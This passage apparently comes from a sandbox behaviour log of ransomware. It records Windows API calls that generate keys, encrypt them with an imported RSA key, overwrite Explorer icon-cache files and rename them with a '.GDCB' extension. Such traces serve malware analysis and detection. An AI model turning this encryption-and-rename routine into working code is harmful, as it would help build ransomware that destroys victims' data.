dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.304] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.305] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.306] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.306] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.306] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.308] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.308] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.309] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.309] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.309] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.311] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fb18) returned 1 [0186.311] CryptGetKeyParam (in: hKey=0x4f7fb18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.311] CryptEncrypt (in: hKey=0x4f7fb18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5dc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5dc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.311] GetLastError () returned 0x0 [0186.311] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.311] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0186.313] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f7d8) returned 1 [0186.313] CryptGetKeyParam (in: hKey=0x4f7f7d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.313] CryptEncrypt (in: hKey=0x4f7f7d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5dd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5dd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.314] GetLastError () returned 0x0 [0186.314] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.314] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_2560.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_2560.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.316] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5de0000 [0186.317] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5df0000 [0186.318] ReadFile (in: hFile=0x514, lpBuffer=0x5df0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5df0000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.326] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f00000 [0186.327] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f10000 [0186.328] VirtualFree (lpAddress=0x5f00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.329] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.329] WriteFile (in: hFile=0x514, lpBuffer=0x5f10000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f10000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.329] VirtualFree (lpAddress=0x5f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.329] VirtualFree (lpAddress=0x5df0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.333] WriteFile (in: hFile=0x514, lpBuffer=0x5dc0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5dc0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.333] WriteFile (in: hFile=0x514, lpBuffer=0x5dd0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5dd0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.333] WriteFile (in: hFile=0x514, lpBuffer=0x5de0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5de0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.333] CloseHandle (hObject=0x514) returned 1 [0186.334] VirtualFree (lpAddress=0x5de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.335] VirtualFree (lpAddress=0x5dc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.336] VirtualFree (lpAddress=0x5dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.337] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_2560.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_2560.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_2560.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_2560.db.gdcb")) returned 1 [0186.343] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.346] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.346] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.346] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.348] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.348] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.349] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.351] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fc18) returned 1 [0186.351] CryptGetKeyParam (in: hKey=0x4f7fc18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.351] CryptEncrypt (in: hKey=0x4f7fc18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5dc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5dc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.351] GetLastError () returned 0x0 [0186.352] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.352] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.354] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f8d8) returned 1 [0186.354] CryptGetKeyParam (in: hKey=0x4f7f8d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.354] CryptEncrypt (in: hKey=0x4f7f8d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5dd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5dd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.354] GetLastError () returned 0x0 [0186.354] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.354] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.359] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.362] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.362] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.362] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.364] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.364] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.364] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.364] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0186.367] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fa98) returned 1 [0186.367] CryptGetKeyParam (in: hKey=0x4f7fa98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.367] CryptEncrypt (in: hKey=0x4f7fa98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5de0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5de0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.367] GetLastError () returned 0x0 [0186.367] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.367] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.369] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f858) returned 1 [0186.369] CryptGetKeyParam (in: hKey=0x4f7f858, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.369] CryptEncrypt (in: hKey=0x4f7f858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5df0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5df0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.370] GetLastError () returned 0x0 [0186.370] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.370] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.375] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.377] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.377] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.378] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.378] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.379] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.379] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.380] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.380] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0186.382] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f598) returned 1 [0186.382] CryptGetKeyParam (in: hKey=0x4f7f598, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.382] CryptEncrypt (in: hKey=0x4f7f598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.383] GetLastError () returned 0x0 [0186.383] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.383] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.385] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f9d8) returned 1 [0186.385] CryptGetKeyParam (in: hKey=0x4f7f9d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.385] CryptEncrypt (in: hKey=0x4f7f9d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.385] GetLastError () returned 0x0 [0186.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.385] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_768.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_768.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.388] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5e20000 [0186.389] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5e30000 [0186.390] ReadFile (in: hFile=0x514, lpBuffer=0x5e30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5e30000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.400] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0186.401] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0186.403] VirtualFree (lpAddress=0x5f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.404] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.404] WriteFile (in: hFile=0x514, lpBuffer=0x5f50000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.404] VirtualFree (lpAddress=0x5f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.405] VirtualFree (lpAddress=0x5e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.409] WriteFile (in: hFile=0x514, lpBuffer=0x5e00000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e00000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.409] WriteFile (in: hFile=0x514, lpBuffer=0x5e10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.409] WriteFile (in: hFile=0x514, lpBuffer=0x5e20000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e20000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.409] CloseHandle (hObject=0x514) returned 1 [0186.409] VirtualFree (lpAddress=0x5e20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.410] VirtualFree (lpAddress=0x5e00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.411] VirtualFree (lpAddress=0x5e10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.412] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_768.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_768.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_768.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_768.db.gdcb")) returned 1 [0186.418] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.421] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.421] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.421] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.421] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.422] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.423] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.423] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.423] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.423] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.426] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f798) returned 1 [0186.426] CryptGetKeyParam (in: hKey=0x4f7f798, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.426] CryptEncrypt (in: hKey=0x4f7f798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.427] GetLastError () returned 0x0 [0186.427] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.427] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.429] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f758) returned 1 [0186.429] CryptGetKeyParam (in: hKey=0x4f7f758, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.429] CryptEncrypt (in: hKey=0x4f7f758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.429] GetLastError () returned 0x0 [0186.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.429] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_96.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_96.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.431] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5e20000 [0186.433] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5e30000 [0186.434] ReadFile (in: hFile=0x514, lpBuffer=0x5e30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5e30000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.442] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0186.443] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0186.444] VirtualFree (lpAddress=0x5f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.445] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.445] WriteFile (in: hFile=0x514, lpBuffer=0x5f50000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.445] VirtualFree (lpAddress=0x5f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.446] VirtualFree (lpAddress=0x5e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.450] WriteFile (in: hFile=0x514, lpBuffer=0x5e00000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: 